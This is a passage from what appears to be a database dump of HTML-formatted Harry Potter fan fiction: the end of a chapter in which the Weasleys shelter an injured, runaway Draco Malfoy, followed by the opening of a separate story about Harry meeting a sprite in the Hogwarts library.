from clear to pink and then a deep red. Charlie busied himself by folding Draco&#8217;s trousers but stopped when a paper and several small leather bags dropped out. He picked up the bags and saw that they were full to brimming with Galleons so he closed them up and put them on the trunk at the end of the bed. The paper was different though and he glanced once at his mother before unfolding it. She more than likely wouldn&#8217;t approve of snooping through other people&#8217;s things.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie scanned the first few lines and gasped aloud. His mother echoed this closely and they both looked up.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What?&#8221; they said together. Charlie decided to go first though.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Take a look at this, Mum. It fell out of his pocket.&#8221; He handed the paper over and watched the horror spread over her round, usually pleasant face.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Merciful... oh!&#8221; Molly closed her eyes and held the paper to her breast. &#8220;How could a father...&#8221; She snapped her eyes open and briskly wiped them with the back of a freckled hand. &#8220;He is <i>not</i> going back to that place, even if I have to whomp Lucius Malfoy&#8217;s thick head with my skillet. I couldn&#8217;t live with myself if I let... he&#8216;s only a child.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley brushed away another tear and handed the parchment to Charlie. &#8220;Put this back in his pocket, I don&#8217;t want him thinking that we&#8217;ve been going through his things like scavengers. And don&#8216;t you dare tell the rest about what we&#8216;ve discovered.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie nodded. &#8220;I won&#8216;t. But Mum, do you know what the Tir nOg curse is?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, but I&#8217;m sure it&#8217;s something dreadful. I&#8217;ll ask your father, if he doesn&#8217;t know, maybe Hermione will, as she&#8217;ll be coming to stay in a few days. Ron and Harry always go on about how bright she is and how much she knows.&#8221; She picked up a jar of salve and was about to apply it to Draco&#8217;s wounds when she stopped and motioned Charlie over. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I almost forgot this, what with that letter and all. Come take a look.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley moved out of the light so that Charlie could see what she was pointing at. At first there were only thin lines from the whip, but underneath there were bits of... paint? No, a tattoo.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mum,&#8221; Charlie gasped. &#8220;He has an entire <i>Seize Quartiers </i>on his back!&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly nodded. &#8220;I didn&#8217;t notice at first because of all the blood. But look, you can see a bit of fleur-de-lis over here, and there&#8217;s a lion.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Who would have their lineage tattooed on like that?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Mmmn, Draco Malfoy apparently; although I have a feeling that it may have been his father&#8217;s doing. Heaven knows that I wouldn&#8217;t want that hideous thing on <i>my</i> body.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Charlie shook his head. &#8220;Disturbing.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley agreed and they were both quiet for a moment while she applied the salve and bandages. She started to pull the mangled shirt out from under Draco, but when she got to his wrists she sucked in a breath.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It only seems to get worse as I go along. Charlie, why don&#8217;t you take this bowl downstairs and send Ginny up with some fresh water and tea. I have the feeling I&#8217;m going to be here a while.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;Gin-love, Mum wants you upstairs.&#8221; Charlie shook his sister&#8217;s shoulder to wake her from where she had been dozing in front of the fire. She yawned, stretching small, ivory fingers above her head.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;All right, I&#8217;m up. What does she want?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Just for you to make her a cuppa and bring some fresh water.&#8221; Charlie handed her the washbasin and Ginny gasped, staring into the swirly red depths. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Is he dead, then?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, just-- I&#8217;ll let Mum tell you. I&#8217;m worn out from being in Rumania one minute and merry old England the next. Not to mention the littlest Malfoy tumbling through our roof like Father Christmas. Which means, dear sister, that I&#8216;ll be rooming with the twins instead of in Percy&#8216;s room once everyone&#8217;s flown home. &#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That would wear anyone out,&#8221; she laughed lightly. &#8220;You just get some rest and I&#8217;ll see you in the morning.&#8221; Ginny kissed her brother on his scratchy cheek as she made her way into the kitchen.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> It was so dark out tonight, he couldn&#8217;t even see the stars or trees. And his broom... Draco opened his eyes suddenly, body arched backwards with a jerk. He wasn&#8217;t on his broom. Where was he!</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The room was lit by the soft, warm glow of a candle placed on an unfamiliar table. He seemed to be on a bed of some sort, but it wasn&#8217;t his. Oh God, had Father found him? There was a woman at the table, greying auburn hair spilling over the arms she had folded under her head. She looked familiar, but Draco couldn&#8217;t place where he&#8217;d seen her before. It didn&#8217;t seem to matter anyway, she was asleep. And the oddity of a large, cast-iron skillet beside her hand didn&#8217;t really sink into his foggy brain.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Now was the chance to leave.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco pushed up from his stomach and set hesitant feet to the floor. The bed was soft and warm, but he couldn&#8217;t risk staying there any longer, Father could be on his way. The blood had been washed from his arms and his old clothes stripped off. Draco could feel the stiffness of bandages over his back when the muscles rippled. His wrists were tended too as well. Whoever that was had seen to his wounds.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The bags of Galleons were sitting on top of his trousers, apparently untouched, but his tunic and bag were no where in sight. A glance out the window told him that it had stopped snowing, but was more than likely still biting cold and would remain that way even though the sun was close on the horizon. Father was probably right on his heels and it wouldn&#8216;t due for him to be caught so close to freedom. The snow didn&#8217;t seem so frightening anymore. He quickly donned his trousers, tucking the small bags of gold into his pockets carefully.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The window was unlocked and Draco slid it open easily, an icy blast in the previously warm room making him shiver. A look around the room showed that his trusted Cloudstriker IV was in pieces and tucked into a corner. He would just have to do things the hard way. Draco had already placed one foot out of the window and was seeking purchase on the slippery roof below when a voice made him freeze.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Where do you think you&#8217;re going?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Pulling his foot out of the window, he turned toward the doorway and took in the form of a middle-aged, balding red haired man in his night robe. Draco started and suddenly he knew where he was.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Well?&#8221; the man persisted, arms crossed over his chest.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Good evening, Mr. Weasley.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur spared a glance at his sleeping wife and then it was back to Draco. &#8220;Mr. Malfoy, my wife was awake most of the night tending to your wounds, the least you can do is tell her you&#8217;re leaving.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;O-of course, Sir.&#8221; Draco could be unfailingly polite when it suited him, but the stutter in his voice annoyed him and it came out as more of a sneer. Mr. Weasley frowned deeply at this and walked over to wake his wife.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Molly, you&#8217;re patient is up and about,&#8221; he said with a gentle shake.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Hmmn? Oh, oh he&#8217;s awake?&#8221; Mrs. Weasley sat up quickly and looked towards the bed. &#8220;Where did he go?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur nudged his wife. &#8220;Over there, dear, by the window.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco straightened up as she turned to look at him, seeming ready to bolt at any moment. But Mrs. Weasley didn&#8217;t notice and she pattered toward him, arms out. She also didn&#8217;t notice the wide, panicked look in his eyes as she embraced him in a firm, but careful way.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;My dear boy, I was afraid you&#8217;d be out for days! Would you like some tea? Well, of course you&#8217;d like some tea after all you&#8217;ve been through, poor mite. Come downstairs with me. Or would you rather I bring it up here to you?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> There were so many words spilling from her lips so quickly that it made Draco&#8217;s head spin. &#8220;Um,&#8221; was all he was able to manage.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Molly, give the boy a chance to let things sink in before you pepper him with questions.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> But Mrs. Weasley wasn&#8217;t listening to her husband as she clasped her hands in sudden inspiration. &#8220;Oh, pepper! I&#8217;ll make a Pepper Up Potion! That&#8217;ll warm him, come with me.&#8221; She grabbed a bandaged wrist without thinking and Draco hissed in pain. Mrs. Weasley let go and put a hand to her lips. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh, I&#8217;m sorry dear.&#8221; So she grabbed his arm instead, proceeding to drag him down the stairs into the kitchen. Mr. Weasley followed them and she left both at the table, humming to herself as she pulled out the ingredients for the potion and a pot of tea.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;She gets carried away at times,&#8221; Arthur explained as he sunk into a chair beside Draco. The boy only nodded, still dumbstruck by Mrs. Weasley&#8217;s &#8216;attack&#8217;. It was a few moments more before he was able to speak at all.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It isn&#8217;t as if I&#8217;m not--&#8221; Draco paused, willing himself to say the proper words, &#8220;grateful, for what you&#8217;ve done. But, why am I here?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mr. Weasley looked surprised. &#8220;You mean you don&#8217;t remember?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">Draco shook his head. &#8220;The last thing I remember was being on my broom.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;We don&#8217;t know much more than you do, I&#8217;m afraid. But when we found you, you had fallen through the upstairs roof.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Fallen through the roof?&#8221; Draco&#8217;s eyes widened just a fraction. Mr. Weasley nodded and the boy looked down at the well-worn table dully. &#8220;Am I anywhere close to London, then?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;London is only ten miles or so from here.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco acknowledged this and closed his eyes. It wasn&#8217;t far at all. He couldn&#8217;t risk hailing the Knight Bus, but a long walk would do no harm. He rose to leave.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Thank you for your hospitality, Mr. and Mrs. Weasley, but I&#8217;m afraid I must go now. I&#8217;ll pay you for the roof and--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You certainly will not!&#8221; Mrs. Weasley glowered from below him and to the left, spoon in hand. Her fierce protectiveness, combined with the fire in her eyes made her seem ten times more threatening than even his father and Draco stared for a moment before regaining his senses.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;But I--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Sit,&#8221; Mrs. Weasley commanded, pointing the wooden utensil at him. Draco complied, feeling very apprehensive at being cowed by such a small, dumpy woman. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Honestly!&#8221; she started prattling as she set out the tea things. &#8220;No shoes or cloak and he thinks he can <i>walk</i> to London in the snow!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco looked down at his feet and curled them under the chair in embarrassment, then realised he was also half-naked and crossed his arms over his chest. Decent people didn&#8217;t walk about with no shoes or even a shirt to cover them. Mr. Weasley only chuckled.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Let me get you a shirt, at least.&#8221; He left the table and went up the stairs, his footfalls soft in the quiet house. Mrs. Weasley had taken a seat next to him and proceeded to pour some Pepper Up into a small cup.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Here dear, drink this.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco looked at the cup, remembering the feel and sight of steam blowing out one&#8217;s ears and shook his head. He really needed a cigarette. &#8220;Can&#8217;t, I&#8217;m-- allergic.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh,&#8221; Mrs. Weasley looked disappointed. Draco felt a twinge of guilt and dug his fingers into his arm from disgust while she spoke. &#8220;Well, I suppose a cuppa would do you just as well. You aren&#8217;t allergic to tea, are you?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No, of course not.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Good, good.&#8221; She made up some tea with cream and sugar, handing it to him. &#8220;You drink up and I&#8217;m going to take a look at these.&#8221; Mrs. Weasley pushed up her sleeves and gently peeled the bandages from around one wrist while Draco lifted the cup in his other hand obediently. She clucked softly and rubbed a bit of salve onto the wound. &#8220;Terrible, terrible.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It&#8217;s really nothing, Mrs. Weasley. I&#8217;ll be fine.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Molly placed the cloth over his wrist again, tying it off with a knot. &#8220;Now, it&#8217;s time we had a little talk.&#8221; She narrowed her eyes at him and Draco had a distinctly uneasy feeling in the pit of his stomach.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;If it is about the roof--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She waved her hand as a cup of tea was poured and she took a sip. &#8220;It isn&#8217;t about the roof, dear.&#8221; Molly seemed to think for a moment before taking another taste of her tea. &#8220;Those wounds on your wrists are from a rope, aren&#8217;t they?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Um.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Don&#8217;t lie to me.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Yes, Mrs. Weasley.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;And the ones on your back from a whip?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco was too intimidated by Mrs. Weasley to do anything more than nod. He hated this feeling; he hated feeling, period. The woman had no right to pry into his business. Not to mention that she&#8217;d brandished a spoon at him earlier as if he, Draco Malfoy, were no more than a common house-elf.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That&#8217;s what I thought. I would ask who did this, but I don&#8217;t think it necessary.&#8221; She paused, taking another drop from her cup before muttering passionately. &#8220;The next time I see Lucius Malfoy, it will be with a wand in my hand.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco&#8217;s eyes widened. &#8220;No, you can&#8217;t! If he-- Mrs. Weasley, don&#8217;t tell him where I am. It&#8217;s enough that I&#8217;m in your house, but after what I&#8217;ve done--&#8221; he cut himself off, not allowing his mouth to reveal what he was about to say. Too much had been said already. Damn these soft-hearted people; they&#8217;d be the death of him.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mrs. Weasley patted his hand. &#8220;Don&#8217;t work yourself up so. I&#8217;m not saying a word, and neither is anyone else,&#8221; she said slowly, looking at the doorway. Mr. Weasley stood there, carrying a shirt in one hand, which he handed to Draco.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I won&#8217;t say anything about this. I have the feeling that it is better if I don&#8217;t. However, I would like to know what is going on,&#8221; he stated with a very pointed look at the flaxen haired boy in his kitchen. Draco swallowed, knowing he would have no peace until he told them <i>something</i>.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;My father wanted me to-- do something. But I refused so I, ah, ran away.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Mr. Weasley lifted his eyebrows and took a seat beside his wife. &#8220;I believe there is more to the story than that. If we are to help you, we need to know what we are you helping you get away from.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco closed his eyes. &#8220;Sir, don&#8217;t make me say things that I will regret.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Arthur gazed at him for a moment, measuring, before he took a slip of paper out of his pocket and set it on the table in front of the boy. &#8220;I believe this is yours?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco&#8217;s face turned a violent shade of pale. It had been foolish to take that from his father&#8217;s journal in the first place. Now his father could kill him for several things, not least of which was revealing Malfoy allegiances to the Weasleys.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Where--&#8221; his head was spinning and Draco raised a hand to his chest, making himself breathe slowly. &#8220;Where did you get that?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I found it in the hall, actually. I didn&#8217;t realise it belonged to you until after I read it.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  &#8220;You...read...&#8221; Draco couldn&#8217;t breathe; he tugged at his neck, pulling in ragged breath after ragged breath. &#8220;He <i>will </i>kill me now.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No,&#8221; Mr. Weasley stated firmly, uncharacteristically firm. &#8220;He will not.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Dear,&#8221; Molly turned to her husband. &#8220;I&#8217;m going to owl Professor Dumbledore. Perhaps he may know--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;No!&#8221; Draco shouted before he was able to restrain himself. &#8220;Don&#8216;t interfere,&#8221; he whispered in a more subdued way. &#8220;It would be better for you and your family if you just let me go. I&#8217;ll hide, move to another country, Father won&#8217;t be able to find me.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The heat was building in his chest, burning every thought to ashes. His nose was watering and it took more self-control than the boy had to keep the tears at bay. One slipped down his cheek anyway and hid in the light whiskers covering his face. Draco put a hand up and it came away wet. He looked at it, confused; he&#8216;d never done that before. At least not that he could remember. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What&#8217;s happening to me? What did you <i>do</i>?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> At that moment, there were footsteps behind him followed by a yawn. &#8220;Oh, hullo Mum. Couldn&#8217;t sleep eith--&#8221; Ginny stopped, hovering somewhere above his quivering shoulders. &#8220;Mum? Dad? What&#8217;s going on?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n\n'),
	(136, 1, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp;\nI don\'t own these ppl...if I did I would be rich!&nbsp; And I\'m not!&nbsp; Only one I own is Spree!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author Notes: Well this is called Spirit.&nbsp; It&#8217;s actually the sequel to another of my\nstories (Operation KISS) but you don&#8217;t have to read Operation KISS to\nunderstand it.&nbsp; I hope everyone enjoys\nthis!! On with the show!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chapter 1</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed and rubbed the bridge of his\nnose.&nbsp; His homework load was really\ngetting to him, that...and the extra Qudditch practises, that Alicia insisted\nthey needed, and the special defense training that Professor Moody put him\nthrough three times a week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry sighed and looked down at the big dusty\nbook in front of him, \'I\'ve really got to get working on this..\' Harry sighed\nto himself, \'We\'ve had ages to do it...and I\'m slacking off.&nbsp; I haven\'t even chosen and Ron\'s written\nthree full parchments already.&nbsp; Okay so\nnow which animals to choose.\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">There was a long list of possible animals in\nfront of Harry to choose from, but it wasn\'t just the choosing that was the\nproblem, Harry couldn\'t keep his mind on the work set.&nbsp; He kept thinking about Hermione and even\nthough they were a couple and everyone knew it, although no one outside the\nGryffindor common room had seen them actually kiss, they didn\'t get to spend\nmuch time together.&nbsp; Harry just didn\'t\nhave the time to have a girlfriend, so they\'d decided to still be together but\nto take it easy for a while.&nbsp; It hadn\'t\nbeen what either of them wanted, but it was the only choice as far as they\ncould see.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Alright.&nbsp;\nOkay so...I\'ll do phoenixes then.&nbsp;\nThey\'re interesting...but we\'ve already done them in class...and I\'m\nsure that Professor Moody doesn\'t want to read about them AGAIN...but then\nagain they do interest me.&nbsp;\nSo...phoenixes...are a maybe.&nbsp;\nAnother maybe..uh...I\'ll never get anywhere.\'&nbsp; Harry sighed writing the word \'phoenix\' in his maybe list that\nwas growing larger and larger every minute.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'Unicorn.&nbsp;\nUnicorns are interesting...and I know Hagrid knows about them...he could\nhelp me catch one for closer inspection.&nbsp;\nThat\'d get me good marks...but oh!&nbsp;\nDragons!&nbsp; Now they\'re cool!&nbsp;&nbsp;&nbsp; So protective and so interesting!&nbsp; But...I mean...well alright so I\'ll do\ndragons and unicorns.&nbsp; But what about\nthe phoenixes?&nbsp; I really want to do\nthat...so dragons and phoenixes...but the unicorn bit would get me a really\ngood grade...or at least a better one...so phoenix and unicorn then...but the\ndragon....OH THIS IS RIDICULOUS.\'&nbsp; Harry\nthought to himself writing the words \'phoenix\', \'unicorn\', and \'dragon\' on a\nbit of parchment and ripping them into seperate pieces.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">\'I\'ll just pick two.&nbsp; Wait...I can\'t do that...I won\'t be happy no matter\nwhat...alright I think I\'ll ask someone else...but who...well I guess no one\nwould know better than Madame Maple which has the most information...funny I\nnever thought I\'d be asking her...ah well.&nbsp;\nBest go find her then.\'&nbsp; Harry\nsaid standing up and looking around her her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">{AN: For anyone who\'s reading this Madame Maple\nis the Hogwarts librarian.&nbsp; Or at least\nshe is in this story!!}</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry spotted her, down by the restricted\nsection putting away some books and seemingly, muttering to herself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Excuse me?&nbsp; Madame Maple?&quot;&nbsp; Harry\nasked quietly, standing behind her nervously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes?&quot; she asked, not many students\napproached her unless they wanted something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I was wondering...could you please help\nme?&quot;&nbsp; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You students.&nbsp; Too lazy to find your own books.&quot;&nbsp; she said shaking her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No it\'s not that!&nbsp; I was just wondering if you could help me\nchoose what two animals to do my defense against the dark arts assignment\non.&nbsp; I can\'t choose between phoenixes,\nunicorns and dragons.&nbsp; And I can only\nhave two.&quot;&nbsp; Harry said quickly,\nsensing she was peeved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her face softened slightly, &quot;Well I can\nsay I\'ve never been asked that before.&quot; she said finally, &quot;Well...we\nhave enourmous amounts on dragons...but I suppose quite a bit of it would be\nspells.&nbsp; On unicorns we\nhave...well...quite a bit...but of course all three of the ones you chose are\nall very mysterious creatures you realise.&nbsp;\nThey all would be difficult to do the project you speak on.&nbsp; Phoenixes...are amazing creatures..and we\nhave a bit of information on them.&quot; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stared at her for a second, &quot;So\nuh...what two should I do?&quot; he asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Madame Maple shrugged, &quot;Well I have no\nidea on that my dear.&nbsp; That would be up\nto you.&nbsp; I\'m sorry I can\'t be of more\nhelp.&nbsp; If you need any help finding\nbooks just let me know and I\'d be happy to oblige.&nbsp; You\'re a polite young man, Mr. Potter.&quot; she said and\npromptly turned back to re-shelving books.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry dejectedly went back to the table where\nhis stuff was, \'Fat load of help she was.&nbsp;\nShe just made it harder to choose.&nbsp;\nI have absolutely no idea now...aw man...\'&nbsp; Harry thought to himself letting his head fall with a thump to\nthe table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Poor Harry.&quot;&nbsp; a feminine voice said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked widly around, seeing no one he\nshook his head, \'I\'ve lost it...\'</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Come on now.&nbsp; Don\'t look so dejected.&nbsp;\nYou had no idea before you came to the library what animals you were\ngoing to choose and now you have an idea.&quot; the feminie voice said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stood up and spun around, &quot;Who said\nthat?&quot; he asked slowly and cautiously.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The voice giggled, &quot;Me silly.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Where are you?&quot;&nbsp; Harry asked, seeing no one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh really now.&nbsp; Sit down before people start looking at you.&nbsp; I\'m standing right here.&quot; the voice\nsaid a little impatiently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry did as the voice said and sat down but\nkept looking around, &quot;Where?&quot; he whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Down here!&quot; the voice said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked down to the table in front of him\nand sitting on his quill was a little creature.&nbsp; It had big extravagent wings and was faintly glowing yellow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Wha-what are you?&nbsp; Are you a fairy?&quot;&nbsp; Harry asked, feeling his jaw drop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hmph hardly!&nbsp; They\'re so ditzy.&quot;&nbsp;\nthe voice said flicking her hair over her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Then what exactly are you?&quot; he\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well...I don\'t know how to explain\nit.&nbsp; I suppose you could called me a\nsprite.&nbsp; In a way...but then again I\'m\nnot REALLY.&quot; the little sprite said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry rubbed his eyes and looked again but the\nlittle sprite was still sitting on his quill.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I must be dreaming.&quot; he said to\nhimself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 